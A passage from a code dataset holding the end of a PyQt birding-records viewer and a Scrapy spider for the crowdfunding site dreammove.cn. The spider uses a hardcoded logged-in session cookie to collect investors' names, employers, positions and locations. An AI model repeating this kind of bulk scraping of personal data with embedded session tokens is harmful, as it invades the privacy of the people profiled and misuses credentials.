one-based month \n endSeasonalMonth = str(self.cboEndSeasonalRangeMonth.currentIndex()+1)\n \n # read endSeasonalDay from combobox\n endSeasonalDay = self.cboEndSeasonalRangeDate.currentText() \n \n # add leading 0 to seasonal month and date strings if less than two digits\n if len(startSeasonalMonth) < 2:\n startSeasonalMonth = \"0\" + startSeasonalMonth\n \n if len(startSeasonalDay) < 2:\n startSeasonalDay = \"0\" + startSeasonalDay \n \n if len(endSeasonalMonth) < 2:\n endSeasonalMonth = \"0\" + endSeasonalMonth\n \n if len(endSeasonalDay) < 2:\n endSeasonalDay = \"0\" + endSeasonalDay \n\n if self.cboSeasonalRangeOptions.currentText() == \"Spring\":\n startSeasonalMonth = \"03\"\n startSeasonalDay = \"21\"\n endSeasonalMonth = \"06\"\n endSeasonalDay = \"21\"\n\n if self.cboSeasonalRangeOptions.currentText() == \"Summer\":\n startSeasonalMonth = \"06\"\n startSeasonalDay = \"21\"\n endSeasonalMonth = \"09\"\n endSeasonalDay = \"21\"\n\n if self.cboSeasonalRangeOptions.currentText() == \"Fall\":\n startSeasonalMonth = \"09\"\n startSeasonalDay = \"21\"\n endSeasonalMonth = \"12\"\n endSeasonalDay = \"21\"\n\n if self.cboSeasonalRangeOptions.currentText() == \"Winter\":\n startSeasonalMonth = \"12\"\n startSeasonalDay = \"21\"\n endSeasonalMonth = \"03\"\n endSeasonalDay = \"21\" \n \n if self.cboSeasonalRangeOptions.currentText() == \"This Month\":\n now = datetime.datetime.now()\n startSeasonalMonth = str(now.month)\n if len(startSeasonalMonth) == 1:\n startSeasonalMonth = \"0\" + startSeasonalMonth\n endSeasonalMonth = startSeasonalMonth\n startSeasonalDay = \"01\"\n endSeasonalDay = MainWindow.db.GetLastDayOfMonth(startSeasonalMonth)\n\n if self.cboSeasonalRangeOptions.currentText() == \"Year to Date\":\n now = datetime.datetime.now()\n startSeasonalMonth = \"01\"\n startSeasonalDay = \"01\"\n endSeasonalMonth = str(now.month)\n endSeasonalDay = str(now.day)\n # add leading 0 to seasonal month and date strings if less than two digits\n if len(endSeasonalMonth) < 2:\n endSeasonalMonth = \"0\" + endSeasonalMonth\n \n if len(endSeasonalDay) < 2:\n endSeasonalDay = \"0\" + endSeasonalDay \n\n \n # check location comboboxes to learn location type and name\n # Only get location information if user has selected one\n if self.cboCountries.currentText() != None:\n \n if self.cboCountries.currentText() != \"**All Countries**\":\n \n # for country name, get the short code,which the db uses for searches\n locationName = MainWindow.db.GetCountryCode(self.cboCountries.currentText())\n locationType = \"Country\"\n \n if self.cboStates.currentText() != None:\n \n if self.cboStates.currentText() != \"**All States**\":\n \n # for state name, get the short code, which the db uses for searches\n locationName = MainWindow.db.GetStateCode(self.cboStates.currentText())\n locationType = \"State\"\n \n if self.cboCounties.currentText() != None:\n \n if self.cboCounties.currentText() != \"**All Counties**\":\n \n locationName = self.cboCounties.currentText()\n locationType = \"County\"\n \n if self.cboLocations.currentText() != None:\n \n if self.cboLocations.currentText() != \"**All Locations**\":\n \n locationName = self.cboLocations.currentText()\n locationType = \"Location\"\n\n # check species combobox to learn species name\n if self.cboSpecies.currentText() != None:\n \n if self.cboSpecies.currentText() != \"**All Species**\":\n \n speciesName = self.cboSpecies.currentText()\n\n # check order combobox to learn family\n if self.cboOrders.currentText() != None:\n \n if self.cboOrders.currentText() != \"**All Orders**\":\n \n order = self.cboOrders.currentText()\n\n # check family combobox to learn family\n if self.cboFamilies.currentText() != None:\n \n if self.cboFamilies.currentText() != \"**All Families**\":\n \n family = self.cboFamilies.currentText()\n\n # package up the filter list and return it\n newFilter = code_Filter.Filter()\n newFilter.setLocationType(locationType)\n newFilter.setLocationName(locationName)\n newFilter.setStartDate(startDate)\n newFilter.setEndDate(endDate)\n newFilter.setStartSeasonalMonth(startSeasonalMonth)\n newFilter.setEndSeasonalMonth(endSeasonalMonth)\n newFilter.setStartSeasonalDay(startSeasonalDay)\n newFilter.setEndSeasonalDay(endSeasonalDay)\n newFilter.setSpeciesName(speciesName)\n newFilter.setFamily(family)\n newFilter.setOrder(order)\n \n return(newFilter)\n \n \n def SeasonalRangeClicked(self):\n self.cboSeasonalRangeOptions.setCurrentIndex(1)\n \n def TileWindows(self):\n self.mdiArea.tileSubWindows()\n \n def CascadeWindows(self):\n # scale every window to its default size\n # save those dimensions as minimum size \n # if we don't, cascading the windows will shrink them\n # too too tiny\n for w in self.mdiArea.subWindowList(): \n w.scaleMe()\n w.setMinimumHeight(w.height())\n w.setMinimumWidth(w.width())\n \n self.mdiArea.cascadeSubWindows()\n \n # set the minimum sizes back to 0, 0\n for w in self.mdiArea.subWindowList(): \n w.setMinimumHeight(0)\n w.setMinimumWidth(0) \n \n def CloseAllWindows(self):\n self.mdiArea.closeAllSubWindows()\n\n\n def HideMainWindowOptions(self):\n self.clearFilter()\n self.dckFilter.setVisible(False)\n \n\n def ShowMainWindowOptions(self):\n self.dckFilter.setVisible(True)\n\n\n def SetChildDetailsLabels(self, sub, filter):\n locationType = filter.getLocationType() # str choices are Country, County, State, Location, or \"\"\n locationName = filter.getLocationName() # str name of region or location or \"\"\n startDate = filter.getStartDate() # str format yyyy-mm-dd or \"\"\n endDate = filter.getEndDate() # str format yyyy-mm-dd or \"\"\n startSeasonalMonth = filter.getStartSeasonalMonth() # str format mm\n startSeasonalDay = filter.getStartSeasonalDay() # str format dd\n endSeasonalMonth = filter.getEndSeasonalMonth() # str format dd\n endSeasonalDay = filter.getEndSeasonalDay() # str format dd\n checklistID = filter.getChecklistID() # str checklistID\n speciesName = filter.getSpeciesName() # str speciesName\n family = filter.getFamily() # str family name\n order = filter.getOrder() #str order name\n \n # set main location label, using \"All Locations\" if none others are selected\n if locationName is \"\": \n sub.lblLocation.setText(\"All Locations\")\n else:\n if locationType == \"Country\":\n sub.lblLocation.setText(MainWindow.db.GetCountryName(locationName))\n elif locationType == \"State\":\n sub.lblLocation.setText(MainWindow.db.GetStateName(locationName)) \n else:\n sub.lblLocation.setText(locationName)\n \n if speciesName != \"\":\n sub.lblLocation.setText(speciesName +\": \" + sub.lblLocation.text())\n \n # set main date range label, using \"AllDates\" if none others are selected\n detailsText = \"\"\n dateText = \"\"\n \n if startDate == \"\":\n dateText = \"; All Dates\"\n else:\n dateTitle = startDate + \" to \" + endDate\n if startDate == endDate:\n dateTitle = startDate\n if checklistID != \"\":\n dateTitle = dateTitle + \": Checklist #\" + checklistID\n dateText = \"; \" + dateTitle\n\n # set main seasonal range label, if specified\n if not ((startSeasonalMonth == \"\") or (endSeasonalMonth == \"\")):\n monthRange = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"]\n rangeTitle = monthRange[int(startSeasonalMonth)-1] + \"-\" + startSeasonalDay + \" to \" + monthRange[int(endSeasonalMonth)-1] + \"-\" + endSeasonalDay\n dateText = dateText + \"; \" + rangeTitle\n \n if checklistID != \"\":\n detailsText = \"; Checklist \" + checklistID\n\n if order != \"\":\n detailsText = detailsText + \"; \" + order\n \n if family != \"\":\n detailsText = detailsText + \"; \" + family\n \n #remove leading \"; \"\n dateText = dateText[2:]\n detailsText = detailsText[2:]\n \n sub.lblDateRange.setText(dateText)\n if dateText ==\"\":\n sub.lblDateRange.setVisible(False)\n else:\n sub.lblDateRange.setVisible(True)\n \n sub.lblDetails.setText(detailsText)\n if detailsText ==\"\":\n sub.lblDetails.setVisible(False)\n else:\n sub.lblDetails.setVisible(True) \n \n sub.setWindowTitle(sub.lblLocation.text() + \": \" + sub.lblDateRange.text()) \n \n \n def FillMainComboBoxes(self):\n \n # use the master lists in db to populate the 4 location comboboxes\n # for each, first add the \"**All...**\" item. \n # It's starred to appear at the top of the sorted comboboxes\n self.cboCountries.clear()\n self.cboCountries.addItem(\"**All Countries**\")\n self.cboCountries.addItems(MainWindow.db.countryList) \n \n self.cboStates.clear()\n self.cboStates.addItem(\"**All States**\")\n self.cboStates.addItems(MainWindow.db.stateList) \n \n self.cboCounties.clear()\n self.cboCounties.addItem(\"**All Counties**\")\n self.cboCounties.addItems(MainWindow.db.countyList)\n \n self.cboLocations.clear()\n self.cboLocations.addItem(\"**All Locations**\")\n self.cboLocations.addItems(MainWindow.db.locationList)\n \n self.cboSpecies.clear()\n self.cboSpecies.addItem(\"**All Species**\")\n self.cboSpecies.addItems(MainWindow.db.speciesDict.keys()) \n self.cboSpecies.model().sort(0)\n \n self.cboFamilies.clear()\n self.cboFamilies.addItem(\"**All Families**\")\n self.cboFamilies.addItems(MainWindow.db.familyList)\n\n self.cboOrders.clear()\n self.cboOrders.addItem(\"**All Orders**\")\n self.cboOrders.addItems(MainWindow.db.orderList)\n \n\n def printMe(self):\n\n activeWindow = self.mdiArea.activeSubWindow() \n\n if activeWindow is None:\n return\n\n if activeWindow.objectName() in ([\n \"frmSpeciesList\", \n \"frmFamilies\", \n \"frmCompare\", \n \"frmDateTotals\", \n \"frmLocationTotals\", \n \"frmWeb\", \n \"frmIndividual\", \n \"frmLocation\",\n \"frmBigReport\"\n ]):\n\n # create a QTextDocument in memory to hold and render our content\n document = QTextDocument()\n\n # create a QPrinter object for the printer the user later selects\n printer = QPrinter()\n \n # get html content from child window\n html = activeWindow.html()\n\n # load the html into the document\n document.setHtml(html)\n\n # let user select and configure a printer\n dialog = QPrintDialog(printer, self) \n\n # execute the print if the user clicked \"Print\"\n if dialog.exec_():\n\n # send the html to the physical printer\n document.print_(printer) \n\n\n def ResetMainWindow(self):\n \n self.CloseAllWindows()\n MainWindow.db.eBirdFileOpenFlag = False\n self.fillingLocationComboBoxesFlag = True\n self.cboCountries.clear()\n self.cboStates.clear()\n self.cboCounties.clear()\n self.cboLocations.clear()\n self.cboSpecies.clear()\n self.cboFamilies.clear()\n self.fillingLocationComboBoxesFlag = False \n\n \n def ComboCountriesChanged(self):\n \n # Check whether the program is adding locations while reading the data file\n # if so, abort. If not, the user has clicked the combobox and we should proceed\n if self.fillingLocationComboBoxesFlag is False: \n \n # set the flag to True so the state, county, and location cbos won't trigger\n self.fillingLocationComboBoxesFlag = True \n \n # clear the color coding for selected filter components\n self.cboCountries.setStyleSheet(\"\"); \n self.cboStates.setStyleSheet(\"\"); \n self.cboCounties.setStyleSheet(\"\"); \n self.cboLocations.setStyleSheet(\"\"); \n \n # use the selected country to filter the masterLocationList\n # clear the subsidiary comboboxes and populat them anew with filtered locations\n thisCountry = MainWindow.db.GetCountryCode(self.cboCountries.currentText())\n self.cboStates.clear()\n self.cboCounties.clear()\n self.cboLocations.clear()\n \n # if \"all countries\" is chosen, fill subsidiary cbos with all locations\n # e.g., remove the country filter, if one had existed for the cbos\n if thisCountry == \"**All Countries**\":\n self.cboCountries.setStyleSheet(\"\"); \n self.cboStates.addItem(\"**All States**\")\n self.cboCounties.addItem(\"**All Counties**\")\n self.cboLocations.addItem(\"**All Locations**\")\n self.cboStates.addItems(MainWindow.db.stateList)\n self.cboCounties.addItems(MainWindow.db.countyList)\n self.cboLocations.addItems(MainWindow.db.locationList)\n self.cboCountries.setStyleSheet(\"\");\n \n else:\n \n self.cboCountries.setStyleSheet(\"QComboBox { background-color: rgb(110, 115, 202)}\");\n \n # initialize lists to store the subsidiary locations\n thisCountryStates = set()\n thisCountryCounties = set()\n thisCountryLocations = set()\n \n # loop through masterLocationList to find locations filtered for the chose country\n for l in MainWindow.db.masterLocationList:\n \n if l[0] == thisCountry:\n \n if l[1] != \"\": thisCountryStates.add(MainWindow.db.GetStateName(l[1]))\n if l[2] != \"\": thisCountryCounties.add(l[2])\n if l[3] != \"\": thisCountryLocations.add(l[3])\n \n # remove duplicates using the set command, then return to list format\n thisCountryStates = list(thisCountryStates)\n thisCountryCounties = list(thisCountryCounties)\n thisCountryLocations = list(thisCountryLocations)\n \n # sort them\n thisCountryStates.sort()\n thisCountryCounties.sort()\n thisCountryLocations.sort()\n \n # add filtered locations to comboboxes\n self.cboStates.addItem(\"**All States**\")\n self.cboStates.addItems(thisCountryStates)\n self.cboCounties.addItem(\"**All Counties**\")\n self.cboCounties.addItems(thisCountryCounties)\n self.cboLocations.addItem(\"**All Locations**\")\n self.cboLocations.addItems(thisCountryLocations)\n \n # we're done, so reset flag to false to allow future triggers\n self.fillingLocationComboBoxesFlag = False\n\n\n def ComboDateOptionsChanged(self):\n if self.fillingLocationComboBoxesFlag is False:\n \n thisOption = self.cboDateOptions.currentText()\n \n if thisOption == \"No Date Filter\":\n self.cboDateOptions.setStyleSheet(\"\"); \n self.calStartDate.setStyleSheet(\"\")\n self.calEndDate.setStyleSheet(\"\")\n\n elif thisOption == \"Use Calendars Below\":\n self.cboDateOptions.setStyleSheet(\"QComboBox { background-color: blue}\");\n self.calStartDate.setStyleSheet(\"QDateTimeEdit { background-color: blue; color: white}\")\n self.calEndDate.setStyleSheet(\"QDateTimeEdit { background-color: blue; color: white}\") \n \n else:\n self.cboDateOptions.setStyleSheet(\"QComboBox { background-color: blue}\")\n self.calStartDate.setStyleSheet(\"\"); \n self.calEndDate.setStyleSheet(\"\") \n\n\n def ComboFamiliesChanged(self):\n if self.fillingLocationComboBoxesFlag is False:\n \n self.fillingLocationComboBoxesFlag = True\n thisFamily = self.cboFamilies.currentText()\n \n # clear any color coding for selected filter components \n self.cboSpecies.setStyleSheet(\"\")\n self.cboSpecies.clear()\n \n if thisFamily == \"**All Families**\":\n self.cboFamilies.setStyleSheet(\"\"); \n self.cboSpecies.addItem(\"**All Species**\")\n if self.cboOrders.currentText() == \"**All Orders**\":\n speciesList = MainWindow.db.speciesDict.keys()\n speciesList = list(speciesList)\n else:\n speciesList = MainWindow.db.orderSpeciesDict[self.cboOrders.currentText()]\n speciesList.sort() \n self.cboSpecies.addItems(speciesList)\n \n else:\n self.cboFamilies.setStyleSheet(\"QComboBox { background-color: blue}\");\n self.cboSpecies.addItem(\"**All Species**\")\n self.cboSpecies.addItems(MainWindow.db.familySpeciesDict[thisFamily]) \n \n self.fillingLocationComboBoxesFlag = False\n\n\n def ComboLocationsChanged(self):\n if self.fillingLocationComboBoxesFlag is False:\n \n thisLocation = self.cboLocations.currentText()\n \n if thisLocation == \"**All Locations**\":\n self.cboLocations.setStyleSheet(\"\"); \n else:\n self.cboLocations.setStyleSheet(\"QComboBox { background-color: blue}\");\n \n self.cboStartSeasonalRangeMonth.adjustSize()\n\n\n def ComboOrdersChanged(self):\n if self.fillingLocationComboBoxesFlag is False:\n self.fillingLocationComboBoxesFlag = True\n thisOrder = self.cboOrders.currentText()\n \n # clear any color coding for selected filter components \n self.cboFamilies.setStyleSheet(\"\") \n self.cboSpecies.setStyleSheet(\"\")\n self.cboFamilies.clear()\n self.cboSpecies.clear()\n \n if thisOrder == \"**All Orders**\":\n self.cboOrders.setStyleSheet(\"\"); \n self.cboFamilies.addItem(\"**All Families**\")\n self.cboFamilies.addItems(MainWindow.db.familyList)\n self.cboSpecies.addItem(\"**All Species**\")\n speciesList = MainWindow.db.speciesDict.keys()\n speciesList = list(speciesList)\n speciesList.sort()\n self.cboSpecies.addItems(speciesList)\n \n else:\n thisFamilies = []\n self.cboOrders.setStyleSheet(\"QComboBox { background-color: blue}\");\n for l in MainWindow.db.masterFamilyOrderList:\n if l[1] == thisOrder:\n if l[0] not in thisFamilies:\n thisFamilies.append(l[0])\n self.cboFamilies.addItem(\"**All Families**\")\n self.cboFamilies.addItems(thisFamilies)\n self.cboSpecies.addItem(\"**All Species**\")\n self.cboSpecies.addItems(MainWindow.db.orderSpeciesDict[thisOrder]) \n self.fillingLocationComboBoxesFlag = False\n \n \n def ComboSeasonalRangeOptionsChanged(self):\n if self.fillingLocationComboBoxesFlag is False:\n \n thisOption = self.cboSeasonalRangeOptions.currentText()\n \n if thisOption == \"No Seasonal Range\":\n self.cboSeasonalRangeOptions.setStyleSheet(\"\"); \n self.cboStartSeasonalRangeMonth.setStyleSheet(\"\")\n self.cboStartSeasonalRangeDate.setStyleSheet(\"\")\n self.cboEndSeasonalRangeMonth.setStyleSheet(\"\")\n self.cboEndSeasonalRangeDate.setStyleSheet(\"\")\n \n elif thisOption == \"Use Range Below\":\n self.cboSeasonalRangeOptions.setStyleSheet(\"QComboBox { background-color: blue}\");\n self.cboStartSeasonalRangeMonth.setStyleSheet(\"QComboBox { background-color: blue}\")\n self.cboStartSeasonalRangeDate.setStyleSheet(\"QComboBox { background-color: blue}\")\n self.cboEndSeasonalRangeMonth.setStyleSheet(\"QComboBox { background-color: blue}\")\n self.cboEndSeasonalRangeDate.setStyleSheet(\"QComboBox { background-color: blue}\") \n \n else:\n self.cboSeasonalRangeOptions.setStyleSheet(\"QComboBox { background-color: blue}\");\n self.cboStartSeasonalRangeMonth.setStyleSheet(\"\")\n self.cboStartSeasonalRangeDate.setStyleSheet(\"\")\n self.cboEndSeasonalRangeMonth.setStyleSheet(\"\")\n self.cboEndSeasonalRangeDate.setStyleSheet(\"\") \n\n\n def ComboSpeciesChanged(self):\n if self.fillingLocationComboBoxesFlag is False:\n \n thisSpecies = self.cboSpecies.currentText()\n \n if thisSpecies == \"**All Species**\":\n self.cboSpecies.setStyleSheet(\"\"); \n else:\n self.cboSpecies.setStyleSheet(\"QComboBox { background-color: blue}\");\n\n \n def ComboStatesChanged(self):\n if self.fillingLocationComboBoxesFlag is False: \n self.fillingLocationComboBoxesFlag = True\n \n # clear any color coding for selected filter components\n self.cboCounties.setStyleSheet(\"\"); \n self.cboLocations.setStyleSheet(\"\"); \n \n thisState = MainWindow.db.GetStateCode(self.cboStates.currentText())\n self.cboCounties.clear()\n self.cboLocations.clear()\n if thisState == \"**All States**\":\n self.cboStates.setStyleSheet(\"\"); \n self.cboCounties.addItem(\"**All Counties**\")\n self.cboLocations.addItem(\"**All Locations**\")\n self.cboCounties.addItems(MainWindow.db.countyList)\n self.cboLocations.addItems(MainWindow.db.locationList)\n else:\n self.cboStates.setStyleSheet(\"QComboBox { background-color: blue}\"); \n thisStateCounties = set()\n thisStateLocations = set()\n for l in MainWindow.db.masterLocationList:\n if l[1] == thisState:\n if l[2] != \"\": thisStateCounties.add(l[2])\n if l[3] != \"\": thisStateLocations.add(l[3])\n \n thisStateCounties = list(thisStateCounties)\n thisStateLocations = list(thisStateLocations)\n \n thisStateCounties.sort()\n thisStateLocations.sort()\n \n self.cboCounties.addItem(\"**All Counties**\")\n self.cboCounties.addItems(thisStateCounties)\n self.cboLocations.addItem(\"**All Locations**\")\n self.cboLocations.addItems(thisStateLocations) \n self.fillingLocationComboBoxesFlag = False\n \n def ComboCountiesChanged(self):\n if self.fillingLocationComboBoxesFlag is False:\n self.fillingLocationComboBoxesFlag = True\n thisCounty = self.cboCounties.currentText()\n \n # clear any color coding for selected filter components \n self.cboLocations.setStyleSheet(\"\"); \n \n self.cboLocations.clear()\n if thisCounty == \"**All Counties**\":\n self.cboCounties.setStyleSheet(\"\"); \n self.cboLocations.addItem(\"**All Locations**\")\n self.cboLocations.addItems(MainWindow.db.locationList)\n else:\n self.cboCounties.setStyleSheet(\"QComboBox { background-color: blue}\");\n thisCountyLocations = set()\n for l in MainWindow.db.masterLocationList:\n if l[2] == thisCounty:\n if l[3] != \"\": thisCountyLocations.add(l[3])\n thisCountyLocations = list(thisCountyLocations)\n thisCountyLocations.sort()\n self.cboLocations.addItem(\"**All Locations**\")\n self.cboLocations.addItems(thisCountyLocations)\n self.fillingLocationComboBoxesFlag = False\n \n def ExitApp(self):\n sys.exit()\n \n","sub_path":"code_MainWindow.py","file_name":"code_MainWindow.py","file_ext":"py","file_size_in_byte":67351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"102178930","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom DreammoveCrawler.items import CrowdFundingItem\nfrom DreammoveCrawler.items import DreammovecrawlerItem\nfrom DreammoveCrawler.items import CrowdFundingStatusItem\nfrom DreammoveCrawler.items import CrowdFundingTestItem\nfrom DreammoveCrawler.items import CrowdFundingTeamItem\nfrom DreammoveCrawler.items import CrowdFundingInvestmentInfo\nfrom DreammoveCrawler.items import CrowdFundingInvertorInfo\n\nimport pymysql\nimport scrapy\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.http import response\nfrom scrapy.spidermiddlewares.httperror import HttpError\nfrom twisted.internet.error import DNSLookupError\nfrom twisted.internet.error import TimeoutError, TCPTimedOutError\n\nfrom scrapy import Request\n\n\nclass DreammovecrawlerSpider(CrawlSpider):\n name = 'DreammoveCrawler'\n allowed_domains = ['www.dreammove.cn']\n start_urls = []\n # 使用cookies模拟登录\n usercookies = {'PHPSESSID':'nvrs7s8ue5vmau8bfn1e94ar37','Hm_lvt_c18b08cac9b94bf4628c0277d3a4d7de':'1495155012,1495416262,1495586705,1496029914', 'Hm_lpvt_c18b08cac9b94bf4628c0277d3a4d7de': '1496033315'}\n\n # 控制爬取队列\n for i in range(1,20):\n list_url = \"http://www.dreammove.cn/list/index.html?type=99&offset=\"+str(i)\n start_urls.append(list_url)\n\n def start_requests(self):\n for u in self.start_urls:\n self.logger.info(\"URL: %s\", u)\n # 解析列表页信息\n yield scrapy.Request(u, callback=self.parse_itemList,\n errback=self.errback_httpbin,\n dont_filter=True,\n cookies=self.usercookies\n ) \n \n\n def parse_itemList(self, response):\n itemList = []\n itemListFull = []\n urlFull = ''\n # 众筹状态\n itemStatus = response.xpath('//*[@id=\"proj-list\"]/li[@*]/div/u/text()').extract()\n # 众筹金额\n # response.xpath('//*[@id=\"proj-list\"]/li[1]/a/div/table/tbody/tr[1]/td[2]/div[2]/div[2]/text()').extract()\n # 项目链接\n itemList = response.xpath('//*[@id=\"proj-list\"]/li[@*]/a/@href').extract()\n\n itemCount = len(itemStatus)\n for i in range(0,itemCount):\n # crowdFundingStatusItem = CrowdFundingStatusItem()\n # 提取众筹状态、众筹编号\n # crowdFundingStatusItem['CrowdFundingStatus'] = itemStatus[i]\n # crowdFundingStatusItem['CrowdFundingCode'] = itemList[i][19:-5]\n # 众筹状态、众筹编号插入到数据库\n # yield crowdFundingStatusItem\n \n # 解析众筹项目详细信息\n urlFull = ('http://www.dreammove.cn%s' % itemList[i]) \n\n \n # 解析众筹项目信息\n # yield scrapy.Request(url=urlFull, callback=self.parse_item,\n # errback=self.errback_httpbin,\n # dont_filter=True,\n # cookies=self.usercookies\n # ) \n\n # 解析众筹项目团队信息\n # yield scrapy.Request(url=urlTeam, callback=self.parse_team,\n # errback=self.errback_httpbin,\n # dont_filter=True,\n # cookies=self.usercookies\n # ) \n\n # 解析众筹项目投资信息\n # yield scrapy.Request(url=urlFull, callback=self.parse_invertor_list_basicInfo,\n # errback=self.errback_httpbin,\n # dont_filter=True,\n # cookies=self.usercookies\n # ) \n\n # 解析众筹项目投资人信息\n yield scrapy.Request(url=urlFull, callback=self.parse_invertor_list_FullInfo,\n errback=self.errback_httpbin,\n dont_filter=True,\n cookies=self.usercookies\n ) \n\n\n def parse_invertor_list_FullInfo(self, response):\n # 调用scrapy shell 测试爬取页面\n # from scrapy.shell import inspect_response\n # inspect_response(response, self) \n\n # http://www.dreammove.cn/project/getpageinvestor/id/GQ14929987110074434/offset/1/type/0.html\n CrowdFundingCode = response.url[42:-5]\n invertorNumText = response.xpath('/html/body/div[3]/div/ul/li[3]/h3/a/var/text()').extract_first()\n if invertorNumText is None:\n invertorNumText = response.xpath('/html/body/div[4]/div/ul/li[3]/h3/a/var/text()').extract_first()\n invertorNum = 0\n if invertorNumText is not None:\n invertorNum = int(invertorNumText)\n if invertorNum != 0:\n pageIndex = invertorNum /30\n if (invertorNum / 30.0) > pageIndex:\n pageIndex = pageIndex + 1\n # self.logger.info(\"pageIndex: %s\", pageIndex)\n for i in range(1,pageIndex+1):\n invertorURL = ('http://www.dreammove.cn/project/getpageinvestor/id/%s/offset/%s/type/0.html' % (CrowdFundingCode, str(i)))\n # self.logger.info(\"invertorURL: %s\", invertorURL)\n yield scrapy.Request(url=invertorURL, callback=self.parse_invertor_list,\n errback=self.errback_httpbin,\n dont_filter=True,\n cookies=self.usercookies\n ) \n def parse_invertor_list(self,response):\n UserPages = response.xpath('/html/body/li[*]/a/@href').extract()\n \n for userPage in UserPages:\n userPage = ('http://www.dreammove.cn%s' % userPage) \n yield scrapy.Request(url=userPage, callback=self.parse_invertor_info,\n errback=self.errback_httpbin,\n dont_filter=True,\n cookies=self.usercookies\n ) \n\n\n def parse_invertor_info(self, response):\n # 调用scrapy shell 测试爬取页面\n # from scrapy.shell import inspect_response\n # inspect_response(response, self) \n\n crowdFundingInvertorInfo = CrowdFundingInvertorInfo()\n\n UserCode = response.url[42:-5]\n Name = response.xpath('/html/body/div[2]/div/div[2]/h2/text()').extract_first()\n InvestmentCount = response.xpath('/html/body/div[3]/div/div[1]/div/div[1]/i/text()').extract_first()\n Company = response.xpath('/html/body/div[3]/div/div[2]/div[1]/div[2]/div[1]/var/text()').extract_first()\n Position = response.xpath('/html/body/div[3]/div/div[2]/div[1]/div[2]/div[2]/var/text()').extract_first()\n Location = response.xpath('/html/body/div[3]/div/div[2]/div[1]/div[2]/div[3]/var/text()').extract_first()\n InvestmentPhilosophy = response.xpath('/html/body/div[3]/div/div[2]/div[2]/div[2]/table/tr[1]/td[2]/var/text()').extract_first()\n FocusArea = response.xpath('/html/body/div[3]/div/div[2]/div[2]/div[2]/table/tr[2]/td[2]/u[1]/text()').extract_first()\n FansAmount = response.xpath('/html/body/div[3]/div/div[2]/div[3]/div[1]/a[1]/var/text()').extract_first()\n FocusAmount = response.xpath('/html/body/div[3]/div/div[2]/div[3]/div[1]/a[2]/var/text()').extract_first()\n \n if Location is not None:\n Location = Location.strip()\n\n # 日志打印输出\n # self.logger.info(\"UserCode: %s\", UserCode)\n # self.logger.info(\"Name: %s\", Name)\n # self.logger.info(\"InvestmentCount: %s\", InvestmentCount)\n # self.logger.info(\"Company: %s\", Company)\n # self.logger.info(\"Position: %s\", Position)\n # self.logger.info(\"Location: %s\", Location)\n # self.logger.info(\"InvestmentPhilosophy: %s\", InvestmentPhilosophy)\n # self.logger.info(\"FocusArea: %s\", FocusArea)\n # self.logger.info(\"FansAmount: %s\", FansAmount)\n # self.logger.info(\"FocusAmount: %s\", FocusAmount)\n\n # 将投资人信息插入到数据库中\n crowdFundingInvertorInfo['UserCode'] = UserCode\n crowdFundingInvertorInfo['Name'] = Name\n crowdFundingInvertorInfo['InvestmentCount'] = InvestmentCount\n crowdFundingInvertorInfo['Company'] = Company\n crowdFundingInvertorInfo['Position'] = Position\n crowdFundingInvertorInfo['Location'] = Location\n crowdFundingInvertorInfo['InvestmentPhilosophy'] = InvestmentPhilosophy\n crowdFundingInvertorInfo['FocusArea'] = FocusArea\n crowdFundingInvertorInfo['FansAmount'] = FansAmount\n crowdFundingInvertorInfo['FocusAmount'] = FocusAmount\n yield crowdFundingInvertorInfo\n\n\n def parse_invertor_list_basicInfo(self, response):\n # 调用scrapy shell 测试爬取页面\n # from scrapy.shell import inspect_response\n # inspect_response(response, self) \n\n # http://www.dreammove.cn/project/getpageinvestor/id/GQ14929987110074434/offset/1/type/0.html\n CrowdFundingCode = response.url[42:-5]\n invertorNumText = response.xpath('/html/body/div[3]/div/ul/li[3]/h3/a/var/text()').extract_first()\n if invertorNumText is None:\n invertorNumText = response.xpath('/html/body/div[4]/div/ul/li[3]/h3/a/var/text()').extract_first()\n invertorNum = 0\n if invertorNumText is not None:\n invertorNum = int(invertorNumText)\n if invertorNum != 0:\n pageIndex = invertorNum /30\n if (invertorNum / 30.0) > pageIndex:\n pageIndex = pageIndex + 1\n # self.logger.info(\"pageIndex: %s\", pageIndex)\n for i in range(1,pageIndex+1):\n invertorURL = ('http://www.dreammove.cn/project/getpageinvestor/id/%s/offset/%s/type/0.html' % (CrowdFundingCode, str(i)))\n # self.logger.info(\"invertorURL: %s\", invertorURL)\n\n yield scrapy.Request(url=invertorURL, callback=self.parse_crowdfunding_invertor,\n errback=self.errback_httpbin,\n dont_filter=True,\n cookies=self.usercookies\n ) \n\n # 解析基本投资信息 \n def parse_crowdfunding_invertor(self, response):\n # 调用scrapy shell 测试爬取页面\n # from scrapy.shell import inspect_response\n # inspect_response(response, self) \n\n # http://www.dreammove.cn/project/getpageinvestor/id/GQ14774651270205434/offset/4/type/0.html\n Code = response.url[51:-21]\n UserPages = response.xpath('/html/body/li[*]/a/@href').extract()\n UserNames = response.xpath('/html/body/li[*]/a/h5/u/text()').extract()\n InvestmentAmounts = response.xpath('/html/body/li[*]/a/p[1]/text()').extract()\n InvestmentTimes = response.xpath('/html/body/li[*]/a/p[2]/text()').extract()\n for i in range(0, len(UserPages)):\n crowdFundingInverstmentInfo = CrowdFundingInvestmentInfo()\n UserPage = ('http://www.dreammove.cn%s' % UserPages[i])\n # http://www.dreammove.cn/profile/index/oid/95affbbdeaabc042800977a25a5b8b03.html\n UserCode = UserPage[42:-5]\n UserName = UserNames[i]\n InvestmentAmount = InvestmentAmounts[i][5:]\n InvestmentTime = InvestmentTimes[i][5:]\n\n # 日志打印输出\n # self.logger.info(\"UserPage: %s\", UserPage)\n # self.logger.info(\"UserCode: %s\", UserCode)\n # self.logger.info(\"UserName: %s\", UserName)\n # self.logger.info(\"InvestmentAmount: %s\", InvestmentAmount)\n # self.logger.info(\"InvestmentTime: %s\", InvestmentTime)\n\n # 将投资基础信息插入数据库\n crowdFundingInverstmentInfo[\"Code\"] = Code\n crowdFundingInverstmentInfo[\"UserPage\"] = UserPage\n crowdFundingInverstmentInfo[\"UserCode\"] = UserCode\n crowdFundingInverstmentInfo[\"UserName\"] = UserName\n crowdFundingInverstmentInfo[\"InvestmentAmount\"] = InvestmentAmount\n crowdFundingInverstmentInfo[\"InvestmentTime\"] = InvestmentTime\n yield 